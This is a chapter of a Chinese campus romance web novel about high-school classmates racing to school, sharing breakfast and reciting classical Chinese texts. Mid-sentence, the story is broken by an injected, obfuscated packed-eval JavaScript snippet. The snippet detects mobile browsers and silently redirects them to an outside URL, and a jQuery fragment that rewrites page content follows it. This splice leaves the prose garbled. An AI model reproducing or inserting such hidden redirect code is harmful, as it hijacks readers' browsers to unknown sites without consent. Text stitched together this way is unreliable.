第二天一早,祝池准时提前半小时起床,等他洗漱完毕出来时,隔壁房间的人果然还没醒。 他推开门进去,床上的人手上抱着闹钟,睡得却比猪还要死,轻微的呼噜声没一会儿又加重了些,活像在锯木头。 祝池推了贺景阳一把,双手放在嘴边将声音聚拢:“起床了,已经25啦!” 贺景阳吓得一个激灵,从床上弹起,“啊!我闹钟怎么没响?” 祝池看着他手里的闹钟,心想好一个骑马找马。 两秒无言,贺景阳呆若木鸡地盯着前方,祝池以为他是在缓冲,毕竟大脑宕机也是需要重启时间的。 然而两秒过后,贺景阳又直直倒了下去。 “???” “再眯两分钟,我三分钟就能搞定。”贺景阳哼哼叽叽地说,显然是想再赖一会儿。 祝池:“……” 平时早上上厕所您也不止三分钟啊。 祝池走过去拉开窗帘,阳光一瞬洒进来,将室内照得通亮。 “唉!门口那人好像是许向暖。昨天是谁说要比一比谁先出门来着?” 此话一出,贺景阳腾一下从床上爬起来,捞起旁边的校服就往身上套。 他走到窗边,四处张望:“哪呢?” “她……又进去了,估计是有东西落了。” 祝池还没说完,身边人就已经跑没影了。 “砰”的一声,卫生间门被带上,里头传来贺景阳含糊不清的声音:“等我2分钟,很快!” 一时间,水声刷牙声马桶声百声齐鸣,贺景阳说到做到,前脚刚进去,后脚就出来了,统共没用到两分钟。 他们前一天和李妈打过招呼,说会早点起来,就不到家里吃了,打算直接到校门口买包子解决。 等他们冲到许向暖家门口时,距离约定的六点半还差一分钟,许向暖果然还没出门,宋时同样。 六点半整,许向暖踩着点从家里出来,看头发凌乱的样子,估计也是没被闹钟叫醒。 “哈哈,我比你快。”贺景阳难得赢一次,虽然胜之不武,但谁叫他有外援呢。 许向暖扯着嘴角,冷笑两声,“呵呵,不过——” “不过谁是第一还不一定呢。”趁没人注意,许向暖以百米冲刺的速度往学校方向狂奔。 贺景阳反应过来后,下意识也往前跑,一边追一边骂:“你耍诈,之前可没说还有这一趴。” 二人猫鼠游戏一路拉锯到校门口,祝池懒得跑,于是就在后面慢慢走。 走一段路回头看一眼,却还是没见着有人跟来。 看样子,宋时估计还没起。 贺景阳没想到许向暖为了学习能疯狂成这样,连早饭都不管了,直接跑进校门。 这场追逐战被迫拉长战线,贺景阳只好给祝池发个消息,让他帮自己带俩包子。 最后,许向暖先他一步抵达一班门口,她靠在墙上喘气,放眼望去,教室里只有大顺一人。 她没想到大顺竟然这么劳模,不过她也不算晚,不只跑赢了贺景阳,全班第一个来教室的应该也稳了。 “这是人吗?”贺景阳跑过来,在她旁边忍不住道。 许向暖说:“跑的慢就不要给自己找借口,愿赌服输,中午放学雪糕你请。” 贺景阳敷衍地“哦”了声,伸手往远处指了指。 走廊尽头,一个熟悉的面孔正向他们走来,手上还拿着一摞资料,不像是刚来的样子。 许向暖咬牙感叹:“这真不是人。” 21. 早点 看见后门口两人的宋时也是一惊。 许向暖早起用功不稀奇,但贺景阳一个外班的也跑过来凑热闹,属实出乎意料。 短暂的惊讶在脸上一闪而过,目光从还在发愣的两人额顶掠过,宋时眼神不觉往远处飘忽一瞬,口里吐出一声:“早。” 声音低沉沙哑,不轻不重,还夹着些许魔幻的鼻音。 没等门口两个失魂木桩作出反应,宋时就跨着大步从前门进去。大顺正巧放下白板笔,希沃白板上留下一面每日晨间励语—— “黎明即起,孜孜为善。 时间就是生命,时间就是速度,时间就是力量。” 宋时将昨日的数学小练放讲台上,大顺笑嘻嘻接来,摆手让他回座位,“辛苦班长了。” 说完抬头看一眼空旷的教室,这才注意到,后门口还站着俩人。 “许向暖?来的很早嘛,杵后门口干嘛,赶紧进来。”大顺脸上堆着笑,甚是满意,转而又瞥见一个熟悉的面孔。 “贺景阳?” 虽然没带过贺景阳,大顺却知道他的大名。一来人隔三差五往一班跑,早就混了个脸熟,二来大顺作为校足球队助教,和他在球场交过几过锋,高一时就觉得这小子运动细胞强有天赋,哪想没等把他招进足球队,人就已经加入了校篮球队。 痛失英才主力,大顺甚至还为此耿耿于怀过一阵。 “你也来这么早啊,要不进来坐坐?”大顺指了指后排,“咱班刚好多出来一张空位。” 贺景阳本来有意坐祝池位上等人来,但碍于有老师在,多少有点放不开。 他看一眼白板上振聋发聩的劝学名言,来自特奥班的压迫感瞬间迎面扑上来,就连大顺嘴角的盈盈笑意,都跟着显得渗人。 还是别了,他可不要身入虎穴。 贺景阳朝大顺挥挥手,既是打招呼又是委婉表露拒绝,“大,赵老师,不用了,我还是回自己班上比较好,您有机会在卢老师面前帮我做个证就行。” 说完,一溜烟人就没影了。 许向暖回了自己座位,大顺手悬在半空中有点懵,“这孩子,害羞什么……” 与此同时,校门口的祝池刚到包子铺。 “要什么?”包子店老板问。 他突然意识过来,都没来的及问贺景阳吃什么馅的包子。 祝池从口袋里摸出手机,字打到一半才恍然想起,贺景阳手机常年静音,现在就算发消息,人应该也觉察不到。 他现在八成坐自己位子上,一边等饭一边好好学习吧…… 祝池正准备锁手机,微信顶上却一下子弹出来两个红点。 一条来自“降神”,一条来自“高二一班家长群”。 降神:你包子买了吗? 降神:没买就不用给我带了,你们班老师在,我回自己班上了。 降神:我抽屉里有面包零食,不用担心哦~调皮.emoji 祝池倒是没担心贺景阳会饿着,昨晚十点多的加餐他可没少吃,一碗拉面加两肠不够,还干了个大鸡腿,前后空腹时间不过八小时,少吃一顿是万万不会怎样的。 班级群祝池设的免打扰,虽说是家长群,却也鱼龙混杂进了不少学生。本来他对群里发的消息是不感兴趣的,因为这个点,大顺向来是以晨间美句开启朝气蓬勃的一天,偶尔会附上几张早自习读书专注的同学特写。 大顺拍照重神不重貌,不过还好,祝池唯一一次的误入镜头,也没捕捉到他背书时翻的死鱼眼。 祝池习惯性进去点掉多余的红点,指尖滑出群聊的同时,一张模糊的照片从眼前一晃而过,笔直端正的蓝白校服身形有种说不清的熟悉感。 即使是远远望去的缩小糊照,祝池也能一眼认出—— 这不是宋时嘛?! 祝池再次点进群聊,这回下载了照片原图。 高清像素将宋时专注的神情捕捉得清晰无比,锋利的侧脸眼睫微垂,被初升的太阳光镀上一层耀眼的金辉。 不得不说,这张照片拍得很有氛围感,连上天都眷顾他,还知道帮他打光。 “同学,吃什么?”老板看人在门口站半天也不点单,忍不住又问一遍。 祝池终于从照片中回过神来,“噢,一个香菇鸡肉包,一杯豆浆。” “就这些?” 祝池犹豫片刻,目光从前排的琳琅满目的粥品上一扫而过。 “……再要一杯小米粥,都要热的。” 考虑到大顺已经到教室了,祝池在去教学楼的路上便将包子囫囵解决,剩下的液体不要紧,可以慢慢喝。 进教室时祝池就近从后门进,一路迎着大顺和善的笑眼,他将豆浆连同粥往身侧收了收,朝大顺微笑点头。 祝池绕到自己位子,将两杯饮料放到桌角,坐下后,卸了书包从里面拿出今早打算背诵的文言文。 他瞟一眼旁边人,宋时正安然刷着数学练习册,看他看过来,手上的笔也没停,但脸却侧过来,轻飘飘留下句:“早啊。” 哼,谁能有你早啊。 大顺可是专门在群里点名表扬:“宋时同学学习积极主动,作为班长提早进班学习,起到了良好的模范带头作用。” 祝池本来就对他的独自行动有些怨念,加上今早还为某人一步三回头,故意放慢脚步,可结果呢? 结果他自己在这偷着卷! 现在祝池很想上前讨伐一阵,顺便问问他是不是故意的,故意不回消息,故意视而不见。 然而,还没等祝池将嘴里话捋清楚,宋时眼下的两抹乌青就先一步闯入眼帘。 男生并不是冷白皮,但眼下的黑眼圈却异常明显。或许是眼周皮肤薄的缘故,血液透过血管和菲薄皮肤泛出阵阵淤青,眼皮略微肿胀,压着长睫毛耷拉在黑葡萄瞳仁上,连同眼神中的冰冷气焰也全被压下去,很像是…… 被人打了两拳。 这究竟是熬到了几点? 不就是一回没考年级第一嘛,要这么用功? 即将说出口的话被一瞬扼住,祝池叹口气,将桌角的黄色纸瓶往右边移了些,小米粥悄然转移阵地。 起这么早,照他平日对食物的敷衍态度,应该没来得及吃早饭吧。 “喏,先垫吧两口。”祝池下巴往桌角指,宋时这才掀起眼皮,看见赫然出现在自己桌上的鹅黄色粥。 “?”宋时显然很意外,瞳孔不自觉放大了些。 祝池看他犹豫,又补充道:“喝的没事,大顺不会管,吸管一插,三两下就吸溜完了。” 说罢拿起自己桌角的豆浆,咬住吸管,咕嘟咕嘟一口气给吸到了底。瓶身瞬间泄气,几声微弱的斯斯鸣警预示豆浆见底,祝池松开嘴角衔住的吸管。 这下总该没有顾虑了吧。 事实同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667844|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样证明,祝池的亲身示范是卓有成效的。 宋时看他腮帮子鼓鼓,活像只大松鼠,几乎是本能地拿起桌角的小米粥,照着他的动作吸溜了一口—— 以粥堵嘴,堵住嘴角想笑的冲动。 祝池满意。 果然熬夜过后的宋时格外听人劝,这次没有臭脸,也没有嘴毒。 他刚坐下没多久,教室里便陆陆续续来了不少人。一班同学很自觉,稍加鞭策就会用功发力,不光是为了在大顺面前做表面功夫,也是因为排名退步后都憋着一股劲。 而这股想要一雪前耻的劲,也成了支持睡不够的人从温暖被窝爬起来的内驱力。 讲台上大顺洪亮的声音再次响起。 “今天一个个怎么都这么积极,”他语气中的欣悦藏都藏不住,“一日之计在于晨,早上正是记忆力最好的时候,大家要不还是读出声来吧,我看好几个同学都跃跃欲试的。” 说着,往最后一排周延的方向看一眼,又扫过许向暖她们那一片,几个人都张着嘴在位子上默念,却没一人做打破沉寂的第一人。 得了大顺许可,大家也逐渐放开嗓子读书,没了清净,宋时也顺势收起数学练习册,拿出一本语文书。 一班教室解除静音模式,立马变得热闹非凡,晚来的同学纷纷自觉加入,读书队伍时渐强盛,没一会儿,楼内翻涌起一片哇啦哇啦的背书声,排山倒海,愈演愈烈。 热烈的书声不稀奇,稀奇的是早自习前的热烈书声。 隔壁二三班的同学路过忍不住驻足侧目,对楼的其他班在走廊上隔空观望,马主任从办公室前过,顺着声音往楼上看一眼,也被一班教室密集的一窝脑袋吓一跳。 众所周知,今日的立德楼,不是被早晨第一缕阳光唤醒,而是被一班同学高涨的学习热情给激活。 不过再高涨的学习热情,也不妨碍祝池背文言文要死不活。 他习惯默背,但前提是周围得足够安静,不然也没法将文字往脑海里刻,因此,祝池只好随波逐流,跟着念经。 “盘盘焉,囷囷焉,蜂房水涡,矗不知其几千万落!”一句话在嘴里开八倍速溜了十遍也没记下,等到十二遍结束,祝池终于要放过这句进下一句,可旁边气定神闲背课文的宋时却坐不住了。 “你是复读机吗?”宋时拍了下他肩膀,祝池从盘山路似的阿房宫中回过神。 “你刚才背的哪句?”宋时问。 祝池:“?” 想考我? 行。 祝池挺胸抬头,悠悠然开口:“盘盘焉,囷囷焉,蜂房水涡,出……” 不对。 “处……矗……” 额…… 矗什么来着? “矗不知其几千万落。” “哦对,矗不知其几千万落。我……我一时脑梗。” “……” 宋时无奈叹口气,“你这样背长句是很难记下来的。” 祝池:“?” 宋时说:“你扪心自问一下,脑海里是不是只剩下''盘盘焉,囷囷焉''在不停打转。” “好像是这么一回事”祝池发自内心认同,可话到嘴边就成了—— “谁说的,我记下来了,就是……就是紧张了!” 宋时眉毛跳了下,不以为然地抽过他的语文书,“回答同桌的一个小问题,这就紧张了?”